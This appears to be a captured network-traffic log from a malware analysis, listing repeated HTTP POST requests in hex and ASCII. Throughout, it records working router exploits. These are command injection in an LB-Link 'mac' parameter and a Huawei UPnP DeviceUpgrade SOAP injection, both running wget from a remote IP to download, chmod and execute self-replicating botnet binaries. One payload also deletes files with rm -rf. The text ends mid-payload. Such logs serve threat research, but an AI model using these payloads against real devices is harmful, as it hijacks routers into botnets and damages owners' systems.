Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 